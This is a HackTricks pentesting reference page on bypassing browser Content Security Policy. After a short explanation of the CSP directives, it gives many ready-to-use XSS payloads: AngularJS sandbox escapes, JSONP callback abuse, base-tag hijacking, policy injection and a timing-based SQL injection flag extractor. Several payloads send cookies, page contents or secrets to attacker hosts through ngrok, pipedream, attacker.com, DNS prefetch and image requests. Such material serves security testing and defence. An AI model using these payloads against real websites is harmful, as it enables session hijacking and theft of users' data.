hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

32 KiB
Raw Blame History

Content Security Policy (CSP) Bypass

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Follow HackenProof to learn more about web3 bugs

🐞 Read web3 bug tutorials

🔔 Get notified about new bug bounties

💬 Participate in community discussions

What is CSP

Content Security Policy or CSP is a built-in browser technology which helps protect from attacks such as cross-site scripting (XSS). It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like eval, setTimeout or setInterval:

Content Security Policy is implemented via response headers or meta elements of the HTML page. The browser follows the received policy and actively blocks violations as they are detected.

Implemented via response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implemented via meta tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only This one won't block anything, only send reports (use in Pre environment).

Defining resources

CSP works by restricting the origins from where active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
  • default-src: This directive defines the policy for fetching resources by default. When fetch directives are absent in the CSP header the browser follows this directive by default.
  • Child-src: This directive defines allowed resources for web workers and embedded frame contents.
  • connect-src: This directive restricts URLs to load using interfaces like fetch, websocket, XMLHttpRequest
  • frame-src: This directive restricts URLs to frames that can be called out.
  • frame-ancestors: This directive specifies the sources that can embed the current page. This directive applies to <frame>, <iframe>, <object>, <embed>, or <applet>. This directive can't be used in tags and applies only to non-HTML resources.
  • img-src: It defines allowed sources to load images on the web page.
  • font-src: directive specifies valid sources for fonts loaded using @font-face.
  • manifest-src: This directive defines allowed sources of application manifest files.
  • media-src: It defines allowed sources from where media objects can be loaded.
  • object-src: It defines allowed sources for the <object>, <embed>, and <applet> elements elements.
  • base-uri: It defines allowed URLs which can be loaded using an element.
  • form-action: This directive lists valid endpoints for submission from tags.
  • plugin-types: It defines limits on the kinds of mime types a page may invoke.
  • upgrade-insecure-requests: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URLs that need to be rewritten.
  • sandbox: sandbox directive enables a sandbox for the requested resource similar to the sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.

Sources

  • *: This allows any URL except data: , blob: , filesystem: schemes
  • self: This source defines that loading of resources on the page is allowed from the same domain.
  • data: This source allows loading resources via the data scheme (eg Base64 encoded images)
  • none: This directive allows nothing to be loaded from any source.
  • unsafe-eval: This allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason, it is named unsafe.
  • unsafe-hashes: This allows to enable of specific inline event handlers.
  • unsafe-inline: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
  • nonce: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.
  • sha256-<hash>: Whitelist scripts with an specific sha256 hash
  • strict-dynamic: It allows the browser to load and execute new JavaScript tags in the DOM from any script source that has previously been whitelisted by a "nonce" or "hash" value.
  • host: Indicate a host such as example.com

Unsafe CSP Rules

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline'; 

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval'; 

Working payload:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

If you can somehow make an allowed JS code created a new script tag in the DOM with your JS code, because an allowed script is creating it, the new script tag will be allowed to be executed.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *; 

Working payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Lack of object-src and default-src

{% hint style="danger" %} It looks like this is not longer working {% endhint %}

Content-Security-Policy: script-src 'self' ;

Working payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

File Upload + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ; 

If you can upload a JS file you can bypass this CSP:

Working payload:

"/>'><script src="/uploads/picture.png.js"></script>

However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.

Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Third Party Endpoints + ('unsafe-eval')

{% hint style="warning" %} For some of the following payload unsafe-eval is not even needed. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval'; 

Load a vulnerable version of angular and execute arbitrary JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
  <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
  </script>
  <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

{% hint style="info" %} The post shows that you could load all libraries from cdn.cloudflare.com (or any other allowed JS libraries repo), execute all added functions from each library, and check which functions from which libraries return the window object. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
 {{$on.curry.call().alert(1)}}
 {{[].empty.call().alert([].empty.call().document.domain)}}
 {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{[].erase.call().alert('xss')}}
</div>
 
 

Third Party Endpoints + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenarios like this where script-src is set to self and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contains ready to use JSONP endpoints to CSP bypass of different websites.

The same vulnerability will occur if the trusted endpoint contains an Open Redirect because if the initial endpoint is trusted, redirects are trusted.

Folder path bypass

If CSP policy points to a folder and you use %2f to encode "/", it is still considered to be inside the folder. All browsers seem to agree with that.
This leads to a possible bypass, by using "%2f..%2f" if the server decodes it. For example, if CSP allows http://example.com/company/ you can bypass the folder restriction and execute: http://example.com/company%2f..%2fattacker/file.js

Online Example: https://jsbin.com/werevijewa/edit?html,output

Iframes JS execution

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

missing base-uri

If the base-uri directive is missing you can abuse it to perform a dangling markup injection.

Moreover, if the page is loading a script using a relative path (like /js/app.js) using a Nonce, you can abuse the base tag to make it load the script from your own server achieving a XSS.
If the vulnerable page is loaded with httpS, make use an httpS url in the base.

<base href="https://www.attacker.com/">

AngularJS events

Depending on the specific policy, the CSP will block JavaScript events. However, AngularJS defines its own events that can be used instead. When inside an event, AngularJS defines a special $event object, which simply references the browser event object. You can use this object to perform a CSP bypass. On Chrome, there is a special property on the $event/event object called path. This property contains an array of objects that causes the event to be executed. The last property is always the window object, which we can use to perform a sandbox escape. By passing this array to the orderBy filter, we can enumerate the array and use the last element (the window object) to execute a global function, such as alert(). The following code demonstrates this:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Find other Angular bypasses in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS and whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable classes. For more details visit this awesome git repo.

Working payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Other JSONP arbitrary execution endpoints can be found in here (some of them were deleted or fixed)

Bypass CSP with dangling markup

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' means that you can execute any script inside the code (XSS can execute code) and img-src * means that you can use in the webpage any image from any resource.

You can bypass this CSP by exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains an SQLi, and extract the flag via an image):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

You could also abuse this configuration to load javascript code inserted inside an image. If for example, the page allows loading images from Twitter. You could craft an special image, upload it to Twitter and abuse the "unsafe-inline" to execute a JS code (as a regular XSS) that will load the image, extract the JS from it and execute it: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

With Service Workers

Service workers importScripts function isn't limited by CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Policy Injection

Research: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

If a parameter sent by you is being pasted inside the declaration of the policy, then you could alter the policy in some way that makes it useless. You could allow script 'unsafe-inline' with any of these bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Because this directive will overwrite existing script-src directives.
You can find an example here: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge is much simpler. If you can add in the CSP just this: ;_ Edge would drop the entire policy.
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Time attack

Notice the lack of the directive 'unsafe-inline'
This time you can make the victim load a page in your control via XSS with a <iframe. This time you are going to make the victim access the page from where you want to extract information (CSRF). You cannot access the content of the page, but if somehow you can control the time the page needs to load you can extract the information you need.

This time a flag is going to be extracted, whenever a char is correctly guessed via SQLi the response takes more time due to the sleep function. Then, you will be able to extract the flag:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
	x = escape(x.replace(/_/g, '\\_'));
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`; 
}

function gen2(x) {
	x = escape(x);
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) { 
	let h = performance.now();
	f.location = (end ? gen2(word) : gen(word));
	await new Promise(r => {
		g.onload = r; 
	});
	let diff = performance.now() - h;
	return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
	let prefix = 'nn9ed{';
	while (true) {
		let i = 0;
		for (i;i<alphabet.length;i++) {
			let c = alphabet[i];
			let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
			console.log(prefix, c, t);
			if (t) {
				console.log('FOUND!')
				prefix += c;
				break;
			}
		}
		if (i==alphabet.length) {
			console.log('missing chars');
			break;
		}
		let t = await query(prefix+'}', true);
		if (t) {
			prefix += '}';
			break;
		}
	}
	new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
	console.log(prefix);
}

run();
</script>

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Leaking Information CSP + Iframe

Imagine a situation where a page is redirecting to a different page with a secret depending on the user. For example, the user admin accessing redirectme.domain1.com is redirected to adminsecret321.domain2.com and you can cause an XSS to the admin.
Also pages that are redirected aren't allowed by the security policy, but the page that redirects is.

You can leak the domain where the admin is redirected through:

  • through CSP violation
  • through CSP rules.

The CSP violation is an instant leak. All that needs to be done is to load an iframe pointing to https://redirectme.domain1.com and listen to securitypolicyviolation event which contains blockedURI property containing the domain of the blocked URI. That is because the https://redirectme.domain1.com (allowed by CSP) redirects to https://adminsecret321.domain2.com (blocked by CSP). This makes use of undefined behavior of how to handle iframes with CSP. Chrome and Firefox behave differently regarding this.

When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev)

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Trick from here.

Follow HackenProof to learn more about web3 bugs

🐞 Read web3 bug tutorials

🔔 Get notified about new bug bounties

💬 Participate in community discussions

Unsafe Technologies to Bypass CSP

PHP response buffer overload

PHP is known for buffering the response to 4096 bytes by default. Therefore, if PHP is showing a warning, by providing enough data inside warnings, the response will be sent before the CSP header, causing the header to be ignored.
Then, the technique consists basically in filling the response buffer with warnings so the CSP header isn't sent.

Idea from this writeup.

Rewrite Error Page

From this writeup it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
    a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME is a technique that abuses an XSS (or highly limited XSS) in an endpoint of a page to abuse other endpoints of the same origin. This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the vulnerable endpoint can use the opener object in the payload to access the DOM of the real endpoint to abuse. For more information check:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Moreover, wordpress has a JSONP endpoint in /wp-json/wp/v2/users/1?_jsonp=data that will reflect the data sent in the output (with the limitation of only letter, numbers and dots).

An attacker can abuse that endpoint to generate a SOME attack against WordPress and embed it inside <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> note that this script will be loaded because it's allowed by 'self'. Moreover, and because WordPress is installed, an attacker might abuse the SOME attack through the vulnerable callback endpoint that bypasses the CSP to give more privileges to a user, install a new plugin...
For more information about how to perform this attack check https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

If there is a strict CSP that doesn't allow you to interact with external servers, there are some things you can always do to exfiltrate the information.

Location

You could just update the location to send to the attacker's server the secret information:

var sessionid = document.cookie.split('=')[1]+"."; 
document.location = "https://attacker.com/?" + sessionid;

Meta tag

You could redirect by injecting a meta tag (this is just a redirect, this won't leak content)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.
You can indicate a browser to pre-resolve a hostname with: <link reol="dns-prefetch" href="something.com">

You could abuse this behaviour to exfiltrate sensitive information via DNS requests:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Another way:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

In order to avoid this from happening the server can send the HTTP header:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Apparently, this technique doesn't work in headless browsers (bots) {% endhint %}

WebRTC

On several pages you can read that WebRTC doesn't check the connect-src policy of the CSP.

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));

However, it doesn't look like it's not possible anymore (or at least not that easy).

If you know how to exfiltrate info with WebRTC send a pull request please!

Checking CSP Policies Online

Automatically creating CSP

https://csper.io/docs/generating-content-security-policy

References

Follow HackenProof to learn more about web3 bugs

🐞 Read web3 bug tutorials

🔔 Get notified about new bug bounties

💬 Participate in community discussions

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥